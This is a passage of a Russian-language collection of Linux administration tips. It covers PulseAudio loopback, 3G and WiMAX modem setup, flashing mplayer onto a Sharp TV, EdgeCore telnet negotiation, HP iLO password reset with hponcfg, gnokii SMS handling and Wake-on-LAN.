       pactl set-source-port alsa_input.pci-0000_0d_00.0-usb-0_1.analog- stereo analog-input-video
       pactl load-module module-loopback source="alsa_input.pci-0000_0d_00.0-usb-0_1.analog-stereo" source_dont_move=true
    
    В последнем случае мы указываем конкретный источник
    (alsa_input.pci-0000_0d_00.0-usb-0_1.analog-stereo) и указываем, что он не
    должен меняться (source_dont_move=true).
    
    Если в системе имеется несколько звуковых карт, то вместо "hw:1,0" может
    потребоваться указать другое устройство, например, "hw:2,0". Список устройств
    можно посмотреть командой:
    
       arecord -l
    
    Для pulseaudio список можно посмотреть командой
    
       pactl list sources
    
    или
    
       pacmd list-sources
    
     
    ----* Настройка 3G-модема Huawei E173 в Ubuntu/Debian без использования оболочки МегаФона   [комментарии]
     
    Для того, чтобы модем Huawei E173 определился в системе не только как
    Flash-диск, необходимо установить пакет usb-modeswitch, который можно найти в
    стандартном репозитории universe:
    
       sudo apt-get install usb-modeswitch usb-modeswitch-data
    
    После этого модем будет определен как ttyUSB0. 
    
       $ dmesg| tail
    
       [310579.743098] USB Serial support registered for GSM modem (1-port)
       [310579.745647] option 2-3:1.0: GSM modem (1-port) converter detected
       [310579.751377] usb 2-3: GSM modem (1-port) converter now attached to ttyUSB0
    
    
    Если не заработало, выясняем идентификатор устройства:
    
       $ lsusb
    
       Bus 002 Device 050: ID 12d1:140c Huawei Technologies Co., Ltd.
    
    Проверяем наличие файла "12d1:*" в /etc/usb_modeswitch.d, в одном из файлов
    должно быть упоминание продукта "1446". Например:
    
    
       # Huawei E270+  (HSPA+ modem)
       DefaultVendor= 0x12d1
       DefaultProduct=0x1446
    
       TargetVendor=  0x12d1
       TargetProductList="1001,1406,140c,14ac"
    
       CheckSuccess=20
    
       MessageContent="55534243123456780000000000000011060000000000000000000000000000"
    
    Если файла нет, то его можно создать по вышеприведенному примеру, просто добавив строки:
    
       DefaultVendor=  0x12d1
       DefaultProduct= 0x140c
    
    
    В дальнейшем модем будет доступен через /dev/ttyUSB0 и его можно настроить
    вручную через запуск pppd или через конфигураторы Network Manager, kppp или
    wvdial. В качестве APN следует указать - internet, в качестве логина и пароля -
    gdata/gdata, номер - "*99#".
    
    Аналогично настраиваются соединения для работы с модемами других сотовых
    операторов. Для МТС значение APN internet.mts.ru, логин/пароль - mts, для
    Beeline APN - internet.beeline.ru, логин/пароль - beeline.
    
     
    ----* Установка mplayer на телевизор SHARP 42SH7 (доп. ссылка 1)   Автор: Михаил  [комментарии]
     
    Как известно, у LCD-телевизора SHARP 42SH7 есть USB-вход, над которым написано
    SERVICE. Любая попытка подключить туда флэшку с видео не приведет к успеху. И
    это логично, ведь через USB нужно сначала залить медиаплеер! Все дело в том,
    что этот телевизор содержит функцию показа телетекста и имеет четыре банка
    памяти, куда загружаются растеризованные шрифты. Так как иероглифы нам не
    нужны, то мы оставим только английский язык, а в освободившуюся память
    используем под mplayer, мощный и быстрый плеер с поддержкой проигрывания
    множества видео и аудио-форматов.
    
    
    Для начала надо скачать архив с сайта sharp-club.net (ссылка для загрузки
    доступна только зарегистрированным пользователям). Кроме архива нужна-USB
    клавиатура, калькулятор и оригинальный японский телевизор SHARP 42SH7.
    Внимание! Все телевизоры с локализацией, без возможности смены языка на
    оригинальный японский - урезаны по функциональности, вместо четырех банков
    памяти содержится только один. Попытка перезаливки на такой телевизор приведет
    к его поломке и отказу сервисной службы в его ремонте! Использовать
    предложенную прошивку можно только обладателям нормального "японца". В
    приложенном архиве лежат следующие файлы:
    
        service.iso
        firmwaresh7.bin
        sh7hack.bin
        mplayer.bin
        english.tbz
        mplayer.tar.gz
        ddump.exe
    
    Самое главное - это service.iso. Его надо залить на любую флешку, но не в виде
    файла, а побайтово, так как это - образ загрузки. Используйте стандартную
    Unix-утилиту dd или, в случае использования Windows, программу ddump.exe из
    комплекта. Вся информация будет удалена с флешки. После заливки надо будет
    залить на флешку файлы из архива:
    
        firmwaresh7.bin
        sh7hack.bin
        mplayer.bin
        english.tbz
    
    mplayer.tar.gz - это исходный код плеера с нужными патчами, его можно
    переделать под свои нужды, например - добавить русский язык.
    
    У пользователей Linux проблем с копированием файлов не возникнет. Из Windows
    просто так файлы не залить, потому что на флешке используется файловая система
    ext2. Если под рукой нет Linux, придется искать и ставить драйвер.
    
    Переключите в телевизоре язык на английский. Вставьте флешку и включите
    телевизор. Через 30-70 секунд вы увидите иероглифы. Это значит, что ваша
    прошивка сохранилась на флешку, а в телевизор влилась заводская прошивка.
    Выньте флешку, вставьте usb-клавиатуру, выключите телевизор и включите снова.
    
    Вы перешли в режим инженерной работы с телевизором, интерфейс которого
    базируется на пакете Busybox. Теперь главное ничего не перепутать!
    
    Введите следующую команду:
    
       du -hs /var/ram/tvtext
    
    Появившееся на экране число - размер шрифтов с поддержкой юникода, точнее, их
    растеризованный размер. Проверьте, что у вас выдает 8M или 16M. Если это не
    так, значит, у вас маленький размер банков памяти, и ничего не выйдет  -
    выключите свой телевизор, вставьте флешку и включите его. Загрузится
    оригинальная прошивка firmwaresh7.bin и все станет, как и было раньше. Дальше
    можно не читать...
    
    Итак, самый ответственный момент. В случае ошибки - обратного пути не будет.
    Обратите внимание, что сейчас придется работать в редакторе vi. Эффективность
    данного редактора в полной мере могут оценить только имеющие опыт работы в vi.
    Для тех, кто имеет опыта работы в vi, лучше предварительно прочитать
    инструкцию, разобраться в основах редактирования и потренироваться.
    
    Вводите следующую команду:
    
       vi /dev/fram/etc/rc
    
    Перейдите ниже к строке:
    
       cat /mnt/flash/firmwaresh7.bin > /dev/fram2; reboot
    
    И замените ее на:
    
       cat /mnt/flash/sh7hack.bin > /dev/fram2
       cat /mnt/flash/mplayer.bin > /dev/fram3
       tar jxf /mnt/flash/english.tbz -C /dev/fram4
       reboot
    
    Выключайте телевизор, вставьте флешку и включайте. У вас загрузится
    модифицированная прошивка, которая позволяет запускать mplayer, сам mplayer и
    англоязычные шрифты. Флешку после этого можно вынимать, там будет файл типа
    _00001.bin - это архив вашей оригинальной прошивки. Его лучше сохранить на
    всякий случай.
    
    Теперь в меню ТВ появился новый пункт: "mplayer". Он станет активным, когда
    будет вставлена флешка с фильмами. Да, сами фильмы нужно называть только
    английскими буквами, иначе они не появляются в списке меню. Фильмы должны быть
    размещены на флешке, отформатированной с файловой системой ext2. FAT32
    телевизор не поддерживает.
    
    В заключение скажу, что работа плеера меня несколько огорчила. Файлы mkv
    проигрываются очень плохо - звук идет нормальный, а изображение идет рывками, с
    пропуском кадров. Так что нормально можно смотреть только AVI или MP3.
    
     
    ----* Как установить telnet-сессию с коммутатором EdgeCore из скрипта (доп. ссылка 1)   Автор: Андрей Сергиенко  [комментарии]
     
    Есть известная "проблема": из скрипта (php, perl, python и т.п.) средствами
    самого языка установить telnet-соединение с коммутаторами EdgeCore не
    получается. Сразу после соединения свитч присылает бинарный "мусор", потом
    коннект просто висит и отваливается по таймауту. Т.е. даже строки приглашения
    от коммутатора получить не удается. В то же время тот же самый скрипт может
    прекрасно работать по телнету с D-Link'ами.
    
    Происходит это потому что edgecorе'ам надо согласовывать параметры терминала
    при поднятии телнет-сессии. Т.е. сначала (сразу после коннекта на 23-й порт)
    передать свитчу желаемые параметры сессии - и только после этого он передаст
    окно приглашения и с ним можно будет работать.
    
    Пример рабочей последовательности параметров:
    
       0xFF 0xFD 0x03 0xFF 0xFB 0x18 0xFF 0xFB 0x1F 0xFF 0xFB 0x20 0xFF 0xFB 0x21 0xFF 0xFB 0x22 0xFF 0xFB 0x27 0xFF 0xFD 0x05 
    
       0xFF 0xFA 0x18 0x00 0x58 0x54 0x45 0x52 0x4D 0xFF 0xF0 
    
       0xFF 0xFD 0x01 0xFF 0xFC 0x01
    
    Что интересно - в таком виде отлично работается и с edgecore'ами, и с
    d-link'ами. Хотя для d-link'ов такая "инициализация" и необязательна.
    
     
    ----* Сброс забытого пароля HP iLO из консоли Debian GNU/Linux (доп. ссылка 1)   Автор: Андрей  [комментарии]
     
    Возникла необходимость сброса утерянного пароля к iLO, на сервере HP DL360G4.
    Сбросить пароль можно при помощи утилиты  hponcfg, которую можно загрузить из специального
    репозитория на сайте HP. Репозиторий
    доступен для большого числа популярных Linux-дистрибутивов, среди которых и
    Debian GNU/Linux.
    
    Для работы утилиты потребуется установить два пакета:
    hponcfg_3.1.0.0.18-19_i386.deb и hp-health_8.5.0.1.2-1_i386.deb:
    
       wget http://downloads.linux.hp.com/SDR/psp/pool/non-free/hponcfg_3.1.0.0.18-19_i386.deb
       wget http://downloads.linux.hp.com/SDR/psp/pool/non-free/hp-health_8.5.0.1.2-1_i386.deb
    
    Устанавливаем данные пакеты и стандартный пакет binutils:
    
       sudo apt-get install binutils
       sudp dpkg -i hp-health_8.5.0.1.2-1_i386.deb
       sudo dpkg -i sudo dpkg -i hponcfg_3.1.0.0.18-19_i386.deb
    
    Настройка iLO осуществляется через xml-файлы.
    
    Файл ilo_reset_password.xml используется для сброса пароля iLO:
    
       <RIBCL VERSION="2.0">
       <LOGIN USER_LOGIN="Administrator" PASSWORD="some_ilo_password">
       <USER_INFO MODE="write">
       <MOD_USER USER_LOGIN="Administrator">
       <PASSWORD value="new_password"/>
       </mod_USER>
       </user_INFO>
       </LOGIN>
       </RIBCL>
    
    В параметре PASSWORD значение new_password заменяем на необходимый пароль и выполняем команду:
    
       sudo hponcfg -f ~/ilo_reset_password.xml
    
    Файл ilo_network.xml используется для настройки сети iLO:
    
       <RIBCL VERSION="2.0">
       <LOGIN USER_LOGIN="Administrator" PASSWORD="iLOPassword">
       <RIB_INFO MODE="write">
       <MOD_NETWORK_SETTINGS>
       <SPEED_AUTOSELECT value="No"/>
       <FULL_DUPLEX value="Yes"/>
       <NIC_SPEED value="100"/>
       <DHCP_ENABLE value="No"/>
       <IP_ADDRESS value="10.20.30.2"/>
       <SUBNET_MASK value="255.255.255.0"/>
       <GATEWAY_IP_ADDRESS value="10.20.30.254"/>
       <DNS_NAME value="ILOCZC73424J4"/>
       <DOMAIN_NAME value=""/>
       <DHCP_GATEWAY value="No"/>
       <DHCP_DNS_SERVER value="No"/>
       <DHCP_STATIC_ROUTE value="No"/>
       <REG_WINS_SERVER value="No"/>
       <PRIM_DNS_SERVER value="0.0.0.0"/>
       <SEC_DNS_SERVER value="0.0.0.0"/>
       <STATIC_ROUTE_1 DEST="0.0.0.0" GATEWAY="0.0.0.0"/>
       <STATIC_ROUTE_2 DEST="0.0.0.0" GATEWAY="0.0.0.0"/>
       </MOD_NETWORK_SETTINGS>
       </RIB_INFO>
       </LOGIN>
    
    Для загрузки отсеченных в файле конфигурации настроек выполняем:
    
       sudo hponcfg -f ~/ilo_network.xml
    
    Чтобы изменения подействовали требуется перезагрузка iLo, которую можно
    выполнить создав файл ilo_reboot.xml:
    
       <RIBCL VERSION="2.0">
       <LOGIN USER_LOGIN="Administrator" PASSWORD="iLOPassword">
       <RIB_INFO MODE="write">
       <RESET_RIB/>
       </RIB_INFO>
       </LOGIN>
       </RIBCL>
    
    и выполнив команду
    
       sudo hponcfg -f ~/ilo_reboot.xml
    
     
    ----* Прием и отправка SMS в Linux   [комментарии]
     
    Для организации автоматизации приема и отправки SMS в Linux можно использовать пакет
    gnokii и подключенный к системе телефон. В
    простейшем случае можно использовать возможность консольной утилиты gnokii из
    пакета gnokii-cli, но при необходимости более сложной автоматизации имеет смысл
    воспользоваться Perl-модулем GSM::SMS или GSMD::Gnokii.
    
    Устанавливаем gnokii, для Debian/Ubuntu:
    
       sudo apt-get install gnokii-cli gnokii-smsd xgnokii
    
    , где gnokii-cli - интерфейс командной строки, gnokii-smsd демон для работы с
    SMS, а xgnokii - GUI интерфейс. Последние два ставим на свое усмотрение.
    
    Подключаем телефон через USB-порт. Смотрим в /var/log/messages к какому
    устройству осуществилась привязка (например, /dev/ttyACM0)
    
    Создаем файл конфигурации /home/mc/.gnokiirc
    
       [global]
       model = AT
       connection = serial
       port = /dev/ttyACM0
    
    где, model - тип устройства: AT - для большинства телефонов, series40 - для
    телефонов Nokia с системой series40, gnapplet для старых телефонов Nokia Series60.
    
    connection - тип соединения serial - USB/RS-232, irda - инфракрасный порт, bluetooth - Bluetooth.
    
    port - порт, для USB - /dev/ttyACM0 или /dev/ttyUSB0, для Bluetooth указываем
    адрес устройства ("aa:bb:cc:dd:ee:ff").
    
    Для USB-устройств также можно попробовать сочетание connection=dku2libusb и
    port = N, где N - номер устройства.
    
    Проверяем поддерживается ли телефон:
    
       gnokii --identify
    
       GNOKII Version 0.6.28
       IMEI         : IMEI56565656565656
       Manufacturer : Motorola CE, Copyright 2000
       Model        : GSM900","GSM1800","GSM1900","MO
       Product name : GSM900","GSM1800","GSM1900","MO
       Revision     : R368_G_0B.A0.0FR
    
    Для мониторинга активности:
    
       gnokii --monitor
    
    Возможности gnokii позволяют достаточно полно контролировать телефон, но нас
    интересует работа с SMS.
    
    Чтение SMS:
    
       gnokii --getsms тип_памяти старт стоп
    
    где тип_памяти: SM - для SIM-карты, ME - для внутренней памяти и MT для
    комбинированных хранилищ, IN - inbox, OU - outbox. Посмотреть какое хранилище
    используется на телефоне можно командой "gnokii --showsmsfolderstatus"
    старт - начальная позиция сообщения
    cтоп - конечная позиция сообщения, если не указать будет прочитано одно
    сообщение, если указать "end" будут выведены все сообщения до конечной позиции
    
    Пример для вывода всех сохраненных SMS:
    
       gnokii --getsms MT 1 end
    
    
    Для отправки SMS можно использовать команду:
    
       echo "текст" | gnokii --sendsms номер
    
    Например:
    
       echo "тест" | gnokii --sendsms '+79094126426'
    
       Send succeeded with reference 131!
    
    Другой способ отправки: в комплекте с Perl-модулем SMS::Send поставляется
    утилита xpl-sender, которую можно использовать не только как пример для
    написания скриптов, но и отправлять через неё сообщения:
    
       xpl-sender -m xpl-cmnd -c sendmsg.basic to=+7909344355 body="test"
    
    
    
    Вывод содержимого адресной книги:
    
       gnokii --getphonebook MT 1 end
    
    Адресную книгу можно сохранить, а затем восстановить:
    
       gnokii --getphonebook MT 1 end --vcard > phonebook.txt
       gnokii --writephonebook --vcard < phonebook.txt
    
    
    Настройка SMS-шлюза
    
    В состав gnokii входит демон SMSD, который позволяет организовать работу
    полноценного SMS-шлюза, на лету обрабатывающего входящие SMS. Для хранения
    отправляемых и получаемых сообщений SMSD может использовать СУБД MySQL,
    PostgreSQL (плагины gnokii-smsd-mysql и gnokii-smsd-pgsql) или файловое
    хранилище (--module file).
    
    Ставим недостающие пакеты:
    
       sudo apt-get install gnokii-smsd-mysql mysql-server
    
    Создаем БД
    
      mysql -u smsgw
      > create database smsgw;
    
    Создаем структуру БД, используя поставляемый в комплекте с gnokii-smsd-mysql пример:
    
      mysql -u smsgw smsgw < /usr/share/doc/gnokii-smsd-mysql/sms.tables.mysql.sql
    
    в результате будут созданы три простые таблицы inbox, outbox и multipartinbox,
    структура которых имеет следующий вид:
    
       CREATE TABLE inbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         smsdate datetime NOT NULL default '0000-00-00 00:00:00',
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text text,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         PRIMARY KEY  (id)
       );
       CREATE TABLE outbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         processed_date timestamp DEFAULT 0,
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text varchar(160) default NULL,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         error tinyint(4) NOT NULL default '-1',
         dreport tinyint(4) NOT NULL default '0',
         not_before time NOT NULL default '00:00:00',
         not_after time  NOT NULL default '23:59:59',
         PRIMARY KEY  (id)
       );
       CREATE TABLE multipartinbox (
         id int(10) unsigned NOT NULL auto_increment,
         number varchar(20) NOT NULL default '',
         smsdate datetime NOT NULL default '0000-00-00 00:00:00',
         insertdate timestamp DEFAULT CURRENT_TIMESTAMP,
         text text,
         phone tinyint(4),
         processed tinyint(4) NOT NULL default '0',
         refnum int(8) default NULL,
         maxnum int(8) default NULL,
         curnum int(8) default NULL,
         PRIMARY KEY  (id)
       );
      
    Запускаем smsd:
    
      /usr/sbin/smsd -u smsgw -d smsgw -c localhost -m mysql -f /var/log/smsdaemon.log
    
    
    где "-u" - имя пользователя БД, "-d" - имя базы, "-с" - хост, а "-m" - модуль хранения.
    
    Отправив теперь SMS на подключенный к компьютеру телефон, smsd сразу перехватит
    его и запишет в базу.
    
    выполнив "select * from inbox;"  увидим примерно такое:
    
      | id | number | smsdate | insertdate |text | phone | processed |
      |  1 | +7909343156224 | 2011-01-20 10:12:05 | 20110120130123 | Test | NULL | 0 |
    
    Для отправки сообщения достаточно добавить новую запись в таблицу outbox, smsd
    сразу его подхватит его и отправит. Например:
    
       insert into outbox (number,text) values('+7909344355', 'Тест);
    
    
    В заключение можно отметить, что smsd  может работать без СУБД, используя
    файловое хранилище. Пример запуска:
    
       /usr/sbin/smsd -m file -c spool-директория
    
    Для отправки SMS в spool-директории нужно создать файл с любым именем в формате:
       номер
       текст
    
    после успешной отправки файл будет удален.
    
    Через опцию "-u" можно указать путь к скрипту, который будет выполняться при
    каждом получении SMS. Иначе входящие сообщения будут выводиться в стандартный
    выходной поток в формате "действие номер дата < текст".
    
    Дополнение: Вместо gnokii можно использовать интенсивно развивающийся форк [[http://wammu.eu/
    gammu]], содержащий поддержку некоторых дополнительных телефонов.
    
     
    ----* Настройка в Linux удаленного включения машины при помощи Wake On Lan (доп. ссылка 1)   Автор: ashep  [комментарии]
     
    Задача: обеспечить возможность удаленного включения компьютера с другой машины в локальной сети.
    
    Для того, чтобы иметь возможность разбудить компьютер удалённо, необходимо,
    чтобы в нём был установлен источник питания ATX версии не ниже 2.01,
    материнская плата, поддерживающая Wake On Lan, а также сетевая плата с
    поддержкой этой технологии.
    
    Настройка
    
    Определить, поддерживает ли материнская плата вашего компьютера Wake On Lan,
    можно зайдя в настройки CMOS Setup в раздел настроек управления питанием.
    Найдите там опцию "Wake On Lan" и убедитесь, что она включена.
    
    После загрузки системы установите, если необходимо, пакет ethtool, при помощи
    которого можно в том числе и переключать сетевую плату в режим пробуждения по
    сигналу Wake On Lan от других машин:
    
       sudo apt-get install ethtool
    
    Далее, необходимо определить, поддерживает ли установленная сетевая плата Wake
    On Lan, и включена ли эта опция:
    
       sudo ethtool eth0 | grep -i wake-on
    
       Supports Wake-on: pumbg
       Wake-on: d
    
    В строке Supports Wake-On перечислены механизмы, поддерживаемые сетевой платой.
    В моём примере я пользуюсь методом отправки так называемым Magic Packet, и если
    вам нужно то же самое, то убедитесь, что в Supports Wake On присутствует буква
    "g". Буква "d" в строке Wake-on обозначает, что Wake On Lan для данного
    сетевого интерфейса отключён. Чтобы включить его в режим распознавания Magic
    Packet, необходимо выполнить:
    
       ethtool -s eth0 wol g
    
    Имейте ввиду, что после включения компьютера, вероятней всего, опция Wake-on
    опять перейдёт в состояние "d" и, если вам нужно, добавьте приведённую выше
    команду куда-нибудь в /etc/rc.local.
    
    Теперь всё готово для пробуждения системы по получению Magic Packet. Для того,
    чтобы его отправить, необходимо знать MAC-адрес сетевого интерфейса включаемого
    компьютера, поэтому прежде, чем выключать систему, запишите его:
    
       ifconfig eth0 | grep -i hwaddr
       eth0      Link encap:Ethernet  HWaddr 00:0e:2e:b9:cb:ad
    
    Теперь можно выключать систему:
    
       sudo shutdown -h now
    
    
    Включение
    
    Теперь с любого другого компьютера, находящегося в том же сегменте локальной
    сети (в принципе, это необязательно, но тогда необходимо, чтобы в вашей сети
    маршрутизаторы корректно пробрасывали широковещательные пакеты), можно включить
    ранее сконфигурированную удалённую систему. Для этого понадобится утилита
    wakeonlan, которую необходимо установить:
    
       sudo apt-get install wakeonlan
    
    Разбудить выключенную систему теперь можно командой (обратите внимание,
    wakeonlan не требует прав суперпользователя):
    
       wakeonlan -p 8 00:0e:2e:b9:cb:ad
    
    Опцией -p указывается номер UDP-порта, с которого будет отправлен Magic Packet.
    Указание этой опции обязательно, поскольку по умолчанию wakeonlan использует
    девятый порт, помеченный в /etc/services как discard, что означает то, что
    пакет с этого порта отправить не получится. В принципе, можно использовать
    любой незанятый в системе UDP-порт.
    
     
    ----* Настройка 4G WiMAX-модема на чипах Beceem в Linux   Автор: Oddentity  [комментарии]
     
    Недавно в инете появился Sprint 4G Depelopment Pack, содержащий исходники
    драйверов и API для модемов на чипсете Beceem, а также документацию и различные
    тестовые утилиты.
    
    К сожалению, поставляемая документация местами не соотвествует, описывает
    прежнюю версию драйверов и многое пришлось додумывать по ходу. В частности, там
    заявлено ядро версии от 2.6.9 и выше. На самом же деле, требуется ядро минимум
    2.6.29 т.к. используются некоторые функции USB Core API, которых нет в прежних
    ядрах. В этом был первый долгий затык - попытка установить на CentOS 5.5.
    
    Необходимые требования для сборки и корректной работы:
    - Ядро Linux версии не ниже 2.6.29
    - Административный доступ с правами root
    - Пакеты linux-source, kernel-headers, openssl 0.9.8, С-compiler, usb-modeswitch и др.
    
    В этой статье описывается установка на Ubuntu-server-10.10 i386 с ядром 2.6.35.
    Используется 4G-модем Huawei BM338 на чипсете Beceem BCSM250 от провайдера
    byfly (Белтелеком). Модем позиционируется как решение Mobile-WiMAX и работает
    на частоте 3,5 ГГц.
    
    Сссылка на архив Sprint 4G Depelopment Pack: http://developer.sprint.com/getDocument.do?docId=101032
    
    
    1. Подготовка ядра
    
    Устанавливаем все необходимые пакеты:
    
    
       apt-get install linux-source linux-headers-$(uname -r) openssl unzip dos2unix patch
       cd /usr/src
       tar xvfj linux-source-2.6.35.tar.bz2
       cd linux-source-2.6.35
       make oldconfig && make prepare
       make modules_prepare
    
    2. Установка  и настройка usb-modeswitch
    
    Утилита usb_modeswitch необходима для автоматического переключения устройства
    из режима ZeroCD (на котором драйвера для Windows) в режим модема. Если
    запустить lsusb, то увидим устройство в режиме ZeroCD:
    
       Bus 001 Device 003: ID 198f:bccd Beceem Communications Inc.
    
    Устанавливаем:
    
       apt-get install usb-modeswitch
       cat /etc/usb_modeswitch.d/198f\:bccd >> /etc/usb_modeswitch.conf
    
    Редактируем файл /lib/udev/rules.d/40-usb_modeswitch.rules - можно удалять
    описания всех устройств, кроме Beceem. Должно остаться что-то вроде:
    
       LABEL="modeswitch_rules_begin"
       # Beceem BCSM250
       ATTRS{idVendor}=="198f", ATTRS{idProduct}=="bccd",  RUN+="usb_modeswitch '%b/%k'"
       LABEL="modeswitch_rules_end"
    
    Перезапускаем udev:
    
       service udev restart
    
    
    Теперь, если снова вставить модем, вывод lsusb должен быть такой:
    
       Bus 001 Device 003: ID 198f:0220 Beceem Communications Inc.
    - 198f:bccd поменялся на 198f:0220
    
    
    3. Установка модуля ядра и Beceem API Library
    
    Распаковываем скачанный архив:
    
       tar xvfz Sprint4GDeveloperPack-1.1.tar.gz
       cd Sprint4GDeveloperPack-1.1
    
    Собираем:
    
       ./install.sh
    
    Скрипт задаст ряд вопросов по поводу расположения директорий, главное указать
    правильную директорию с исходниками ядра. В моем случае это /usr/src/linux-source-2.6.35
    
    Скрипт соберет модуль ядра drxvi314.so, библиотеку libxvi020.so и копирует
    прошивку девайса в /lib/firmware. После чего выдаст ошибку - остальные
    компоненты будем собирать позже вручную. Нам еще потребуется конфиг устройства
    от провайдера, берем его из папки с установленной программой в винде (Program
    files/Wimax Connection Manager/Driver/Firmware/macxvi.cfg) и кладем в
    /lib/firmware. Теперь загружаем модуль ядра:
    
       modprobe drxvi314
    
    Если все прошло удачно - на модеме должен загореться красный светодиод. Также
    стоит глянуть вывод dmesg -c, там должно быть что-то типа
    
       ...
       [    6.240000]
       [    6.240035] register_networkdev:Beceem Network device name is eth1!
       ...
       ...
       [    7.197554] usbcore: registered new interface driver usbbcm
       [    7.197562] Initialised usbbcm
    
    Для автозагрузки добавляем drxvi314 в /etc/modules
    Поднимаем eth1:
    
       ifconfig eth1 up
    
    
    4. Установка Beceem Connection Manager и библиотек
    
       unzip CSCM_v1.1.6.0_source.zip
       cd CSCM
    
    Т.к. в составе исходников не оказалось заголовочных файлов OpenSSL, качаем нужную версию с сайта:
    
       wget http://www.openssl.org/source/openssl-0.9.8o.tar.gz
       tar xvfz openssl-0.9.8o.tar.gz
    
    и кладем заголовочные файлы в нужные места:
    
       cp -R openssl-0.9.8o/include/openssl wpa_supplicant/openssl
       cp -R openssl-0.9.8o/crypto crypto
       cp -R openssl-0.9.8o/ssl ssl
       cp -R openssl-0.9.8o/e_os2.h e_os2.h
       cp -R openssl-0.9.8o/include/openssl BeceemEAPSupplicant/BeceemEngine/openssl
       cp -R openssl-0.9.8o/crypto BeceemEAPSupplicant/crypto
       cp -R openssl-0.9.8o/e_os2.h BeceemEAPSupplicant/e_os2.h
       ln -s /lib/libssl.so.0.9.8 /lib/libssl.so
       ln -s /lib/libcrypto.so.0.9.8 /lib/libcrypto.so
    
    Конвертируем build.sh в UNIX-формат и собираем:
    
       dos2unix build.sh
       chmod +x build.sh
       ./build.sh pc_linux
    
    В конце скрипта должно быть написано SUCCESS по всем компонентам.
    
    Кладем библиотеки, демон и клиент в нужные места:
    
       cp bin_pc_linux/bin/lib* /lib/
       cp bin_pc_linux/bin/wimax* /usr/local/bin/
    
    
    5. Конфигурирование демона wimaxd
    
    Тут есть одна непонятная вещь, над которой тоже пришлось долго "плясать с бубном".
    
    Ранее, при сборке модуля ядра, мы уже скопировали конфиг устройства (файл
    macxvi.cfg), поставляемый провайдером. Такой же файлик есть и в архиве
    Sprint'а, но с ним модем ведет себя странно (не работают светодиоды, поиск БС
    происходит очень долго и т.д.). Но при этом, демон wimaxd, наоборот, корректно
    работает именно с конфигом Sprint'а (с родным провайдерским конфигом были
    проблемы с TLS-аутентификацией).
    
    В общем, в /lib/firmware/ должно быть 2 файла:
    
    macxvi.cfg - конфиг провайдера, его использует модуль ядра.
    
    macxvi-sprint.cfg - конфиг Sprint'а из архива (лежит в
    Sprint4GDeveloperPack-1.1/Rel_5.2.7.3P1_USB/Tools/config/CFG_files_for_VSG_testing/macxvi_VSG_2.6-3.5_FLASH_r37.cfg) -
     он нужен для демона wimaxd
    
    Создаем конфиг wimaxd, например /etc/wimaxd.conf
    После изучения документации, а также методом проб и ошибок получилось вот такое содержимое:
    
    /etc/wimaxd.conf:
    
       BandwidthMHz                    10
       CenterFrequencyMHz              3416 3426 3436 3446 3516 3526 3536 3546
    
       AuthEnabled                     Yes
       EAPMethod                       4
       UserIdentity                    '6816C0B1C045@wimax.beltel.by'
    
       ValidateServerCert              Yes
       CACertPath                      '/usr/local/beceem/certs'
       CACertFileName                  '/usr/local/beceem/certs/ca.pem'
       TLSDeviceCertFileName           '/usr/local/beceem/certs/cpecert.pem'
       TLSDevicePrivateKeyFileName     '/usr/local/beceem/certs/cpekey.pem'
       InnerNAIChange                  Yes
    
       BeceemEngineFileName            '/lib/libengine_beceem.so'
    
       #AuthLogLevel                   4
       #AuthLogFileName                '/tmp/CM_Auth.log'
    
       FirmwareFileName                '/lib/firmware/macxvi200.bin'
       ConfigFileName                  '/lib/firmware/macxvi-sprint.cfg'
    
    Немного пояснений.
    
    Параметры BandwidthMHz и CenterFrequencyMHz взяты из настроек виндошной программы.
    
    EAPMethod 4 - EAP-TLS
    
    UserIdentity - логин. Первая часть логина до символа @ - это МАС-адрес
    устройства без двоеточий. Также взят из настроек виндошной программы.
    
    CACertPath, CACertFileName, TLSDeviceCertFileName, TLSDevicePrivateKeyFileName
    - пути к файлам сертификатов и ключей. Их нужно взять из папки с установленной
    программой в винде (Program Files/Wimax Connection Manager/cert/) и положить в
    указанную конфигом директорию.
    
    InnerNAIChange Yes - не знаю что это, но без этой опции ошибка аутентификации при подключении.
    
    FirmwareFileName, ConfigFileName - пути к файлам прошивки и конфига от Sprint'a
    
    
    6. Подключение
    
    Запускаем демон:
    
       wimaxd -D -c /etc/wimaxd.conf
    
    Результатом правильной работы будет непрерывный вывод сообщения  Link status =
    WAIT FOR PHY SYNC CMD - это значит, что демон готов принимать команды от
    клиента. Открываем другую консоль и запускам клиент:
    
       wimaxc -i
    
    Должно появится приглашение
    
       Beceem CM Server Version 1.1.6.0
       > 
    
    а в консоли демона сообщение
    
       Client socket 00000006 lock Beceem API: SUCCESS (wait = 0 ms)
       Client socket 00000006 unlock Beceem API: Success
    
    Начинаем сканирование:
    
       > search
    
    Через секунд 30 клиент выдаст найденные BSIDs, что-то вроде такого:
    Network search returned 4 base stations.
    
       Idx BSID Pre      Freq      BW  RSSI  CINR
        0  01:01:00:00:02:00:17:00 0x05 3416.000  10.000   -70    26
        1  01:01:00:00:02:00:17:20 0x05 3426.000  10.000   -76    17
        2  01:01:00:00:02:00:17:10 0x05 3436.000  10.000   -74    20
        3  01:01:00:00:02:00:17:30 0x05 3446.000  10.000   -72    24
    
    Подключаемся к той, у которой соотношение сигнал/шум максимальное, в данном случае 0
    
       > connect 0
    
    и если параметры аутентификации заданы верно, соединение будет установлено, а
    светодиод модема сменится на зеленый с мигающим желтым. В консоли демона можно
    увидеть такую информацию:
    
       =============== Received Message Start (2010/09/24 18:03:10.622) ===========
       u32State = Network Entry completed
       Service flow response received  (Type = 6 - Subtype = 1 - Length =    8476)
       Service Flow Add Indication:
       Type               = 13
       Direction          = Uplink
       Connection ID      = 10039
       Virtual CID        = 4
       Service flow ID    = 513
       Max sustained rate = 512 kbps
       Traffic priority   = 0
       =============== Received Message End (type=6 sub-type=1) ===============
       Device status indication: Layer 2 connected
    
       =============== Received Message Start (2010/09/24 18:03:10.682) ===========
       u32State = Network Entry completed
       Service flow response received  (Type = 6 - Subtype = 1 - Length =  8476)
       Service Flow Add Indication:
       Type               = 13
       Direction          = Downlink
       Connection ID      = 10040
       Virtual CID        = 5
       Service flow ID    = 512
       Max sustained rate = 2680 kbps
       Traffic priority   = 0
       ================
